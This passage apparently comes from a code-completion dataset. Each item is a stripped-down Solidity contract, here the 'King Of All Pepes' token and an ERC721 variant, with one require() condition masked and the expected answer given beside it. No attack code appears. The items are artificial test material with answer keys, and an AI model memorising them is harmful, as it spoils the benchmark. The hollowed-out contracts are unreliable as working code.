function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface Initializer {
function setLaunch(address _initialLpPair, uint32 _liqAddBlock, uint64 _liqAddStamp, uint8 dec) external;
function getConfig() external returns (address, address);
function getInits(uint256 amount) external returns (uint256, uint256);
function setLpPair(address pair, bool enabled) external;
function checkUser(address from, address to, uint256 amt) external returns (bool);
function setProtections(bool _as, bool _ab) external;
function removeSniper(address account) external;
function removeBlacklisted(address account) external;
function isBlacklisted(address account) external view returns (bool);
function setBlacklistEnabled(address account, bool enabled) external;
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external;
}
contract KingOfAllPepes is IERC20 {
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _isExcludedFromProtection;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
uint256 constant private startingSupply = 420_000_000_000;
string constant private _name = "King Of All Pepes";
string constant private _symbol = "$KOAP";
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 transferFee;
}
Fees public _taxRates = Fees({
buyFee: 100,
sellFee: 100,
transferFee: 0
});
uint256 constant public maxBuyTaxes = 1000;
uint256 constant public maxSellTaxes = 2000;
uint256 constant public maxTransferTaxes = 1000;
uint256 constant masterTaxDivisor = 10000;
bool public taxesAreLocked;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address payable public marketingWallet = payable(0xCeE6591681A0b801Ff45F78E06f20931dDB69E22);
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public swapThreshold;
uint256 public swapAmount;
bool public piContractSwapsEnabled;
uint256 public piSwapPercent = 10;
uint256 private _maxTxAmount = (_tTotal * 1) / 100;
uint256 private _maxWalletSize = (_tTotal * 1) / 100;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
Initializer initializer;
uint256 public launchStamp;
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
modifier inSwapFlag {
}
constructor () payable {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
address private _owner;
modifier onlyOwner() { }
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
receive() external payable {}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function approveContractContingency() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setInitializer(address init) public onlyOwner {
}
function isExcludedFromLimits(address account) external view returns (bool) {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function isExcludedFromProtection(address account) external view returns (bool) {
}
function setExcludedFromProtection(address account, bool enabled) external onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
//================================================ BLACKLIST
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) external view returns (bool) {
}
function removeBlacklisted(address account) external onlyOwner {
}
//================================================ BLACKLIST
function removeSniper(address account) external onlyOwner {
}
function setProtectionSettings(bool _antiSnipe, bool _antiBlock) external onlyOwner {
}
function lockTaxes() external onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner {
}
function setWallets(address payable marketing) external onlyOwner {
}
function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner {
require(<FILL_ME>)
_maxTxAmount = (_tTotal * percent) / divisor;
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getMaxTX() external view returns (uint256) {
}
function getMaxWallet() external view returns (uint256) {
}
function getTokenAmountAtPriceImpact(uint256 priceImpactInHundreds) external view returns (uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setPriceImpactSwapAmount(uint256 priceImpactSwapPercent) external onlyOwner {
}
function setContractSwapEnabled(bool swapEnabled, bool priceImpactSwapEnabled) external onlyOwner {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function contractSwap(uint256 contractTokenBalance) internal inSwapFlag {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function sweepExternalTokens(address token) external onlyOwner {
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function finalizeTransfer(address from, address to, uint256 amount, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, uint256 amount, bool buy, bool sell) internal returns (uint256) {
}
}
| (_tTotal*percent)/divisor>=(_tTotal*5/1000),"Max Transaction amt must be above 0.5% of total supply." | 84,632 | (_tTotal*percent)/divisor>=(_tTotal*5/1000) |
"Cannot be above 1.5% of current PI." | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface Initializer {
function setLaunch(address _initialLpPair, uint32 _liqAddBlock, uint64 _liqAddStamp, uint8 dec) external;
function getConfig() external returns (address, address);
function getInits(uint256 amount) external returns (uint256, uint256);
function setLpPair(address pair, bool enabled) external;
function checkUser(address from, address to, uint256 amt) external returns (bool);
function setProtections(bool _as, bool _ab) external;
function removeSniper(address account) external;
function removeBlacklisted(address account) external;
function isBlacklisted(address account) external view returns (bool);
function setBlacklistEnabled(address account, bool enabled) external;
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external;
}
contract KingOfAllPepes is IERC20 {
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _isExcludedFromProtection;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
uint256 constant private startingSupply = 420_000_000_000;
string constant private _name = "King Of All Pepes";
string constant private _symbol = "$KOAP";
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 transferFee;
}
Fees public _taxRates = Fees({
buyFee: 100,
sellFee: 100,
transferFee: 0
});
uint256 constant public maxBuyTaxes = 1000;
uint256 constant public maxSellTaxes = 2000;
uint256 constant public maxTransferTaxes = 1000;
uint256 constant masterTaxDivisor = 10000;
bool public taxesAreLocked;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address payable public marketingWallet = payable(0xCeE6591681A0b801Ff45F78E06f20931dDB69E22);
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public swapThreshold;
uint256 public swapAmount;
bool public piContractSwapsEnabled;
uint256 public piSwapPercent = 10;
uint256 private _maxTxAmount = (_tTotal * 1) / 100;
uint256 private _maxWalletSize = (_tTotal * 1) / 100;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
Initializer initializer;
uint256 public launchStamp;
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
modifier inSwapFlag {
}
constructor () payable {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
address private _owner;
modifier onlyOwner() { }
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
receive() external payable {}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function approveContractContingency() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setInitializer(address init) public onlyOwner {
}
function isExcludedFromLimits(address account) external view returns (bool) {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function isExcludedFromProtection(address account) external view returns (bool) {
}
function setExcludedFromProtection(address account, bool enabled) external onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
//================================================ BLACKLIST
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) external view returns (bool) {
}
function removeBlacklisted(address account) external onlyOwner {
}
//================================================ BLACKLIST
function removeSniper(address account) external onlyOwner {
}
function setProtectionSettings(bool _antiSnipe, bool _antiBlock) external onlyOwner {
}
function lockTaxes() external onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner {
}
function setWallets(address payable marketing) external onlyOwner {
}
function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getMaxTX() external view returns (uint256) {
}
function getMaxWallet() external view returns (uint256) {
}
function getTokenAmountAtPriceImpact(uint256 priceImpactInHundreds) external view returns (uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor;
swapAmount = (_tTotal * amountPercent) / amountDivisor;
require(swapThreshold <= swapAmount, "Threshold cannot be above amount.");
require(<FILL_ME>)
require(swapAmount >= _tTotal / 1_000_000, "Cannot be lower than 0.00001% of total supply.");
require(swapThreshold >= _tTotal / 1_000_000, "Cannot be lower than 0.00001% of total supply.");
}
function setPriceImpactSwapAmount(uint256 priceImpactSwapPercent) external onlyOwner {
}
function setContractSwapEnabled(bool swapEnabled, bool priceImpactSwapEnabled) external onlyOwner {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function contractSwap(uint256 contractTokenBalance) internal inSwapFlag {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function sweepExternalTokens(address token) external onlyOwner {
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function finalizeTransfer(address from, address to, uint256 amount, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, uint256 amount, bool buy, bool sell) internal returns (uint256) {
}
}
| swapAmount<=(balanceOf(lpPair)*150)/masterTaxDivisor,"Cannot be above 1.5% of current PI." | 84,632 | swapAmount<=(balanceOf(lpPair)*150)/masterTaxDivisor |
"Not enough tokens." | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface Initializer {
function setLaunch(address _initialLpPair, uint32 _liqAddBlock, uint64 _liqAddStamp, uint8 dec) external;
function getConfig() external returns (address, address);
function getInits(uint256 amount) external returns (uint256, uint256);
function setLpPair(address pair, bool enabled) external;
function checkUser(address from, address to, uint256 amt) external returns (bool);
function setProtections(bool _as, bool _ab) external;
function removeSniper(address account) external;
function removeBlacklisted(address account) external;
function isBlacklisted(address account) external view returns (bool);
function setBlacklistEnabled(address account, bool enabled) external;
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external;
}
contract KingOfAllPepes is IERC20 {
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _isExcludedFromProtection;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
uint256 constant private startingSupply = 420_000_000_000;
string constant private _name = "King Of All Pepes";
string constant private _symbol = "$KOAP";
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 transferFee;
}
Fees public _taxRates = Fees({
buyFee: 100,
sellFee: 100,
transferFee: 0
});
uint256 constant public maxBuyTaxes = 1000;
uint256 constant public maxSellTaxes = 2000;
uint256 constant public maxTransferTaxes = 1000;
uint256 constant masterTaxDivisor = 10000;
bool public taxesAreLocked;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address payable public marketingWallet = payable(0xCeE6591681A0b801Ff45F78E06f20931dDB69E22);
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public swapThreshold;
uint256 public swapAmount;
bool public piContractSwapsEnabled;
uint256 public piSwapPercent = 10;
uint256 private _maxTxAmount = (_tTotal * 1) / 100;
uint256 private _maxWalletSize = (_tTotal * 1) / 100;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
Initializer initializer;
uint256 public launchStamp;
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
modifier inSwapFlag {
}
constructor () payable {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
address private _owner;
modifier onlyOwner() { }
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
receive() external payable {}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function approveContractContingency() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setInitializer(address init) public onlyOwner {
}
function isExcludedFromLimits(address account) external view returns (bool) {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function isExcludedFromProtection(address account) external view returns (bool) {
}
function setExcludedFromProtection(address account, bool enabled) external onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
//================================================ BLACKLIST
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) external view returns (bool) {
}
function removeBlacklisted(address account) external onlyOwner {
}
//================================================ BLACKLIST
function removeSniper(address account) external onlyOwner {
}
function setProtectionSettings(bool _antiSnipe, bool _antiBlock) external onlyOwner {
}
function lockTaxes() external onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner {
}
function setWallets(address payable marketing) external onlyOwner {
}
function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getMaxTX() external view returns (uint256) {
}
function getMaxWallet() external view returns (uint256) {
}
function getTokenAmountAtPriceImpact(uint256 priceImpactInHundreds) external view returns (uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setPriceImpactSwapAmount(uint256 priceImpactSwapPercent) external onlyOwner {
}
function setContractSwapEnabled(bool swapEnabled, bool priceImpactSwapEnabled) external onlyOwner {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function contractSwap(uint256 contractTokenBalance) internal inSwapFlag {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function sweepExternalTokens(address token) external onlyOwner {
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
require(accounts.length == amounts.length, "Lengths do not match.");
for (uint16 i = 0; i < accounts.length; i++) {
require(<FILL_ME>)
finalizeTransfer(msg.sender, accounts[i], amounts[i]*10**_decimals, false, false, true);
}
}
function finalizeTransfer(address from, address to, uint256 amount, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, uint256 amount, bool buy, bool sell) internal returns (uint256) {
}
}
| balanceOf(msg.sender)>=amounts[i]*10**_decimals,"Not enough tokens." | 84,632 | balanceOf(msg.sender)>=amounts[i]*10**_decimals |
"ERC721: transfer from incorrect owner" | // SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721PackedStruct is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
struct Account {
uint248 balance;
bool minted;
}
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
// CUSTOM: Visible for child contract so it's possible to emulate methods of ERC721's enumerable extension
mapping(uint256 => address) internal _owners;
// NB: CUSTOM MODIFICATION
// Mapping owner address to Account struct (contains token count and mint status)
mapping(address => Account) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function hasAlreadyMinted(address owner) public view returns (bool) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(<FILL_ME>)
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from].balance -= 1;
_balances[to].balance += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
/**
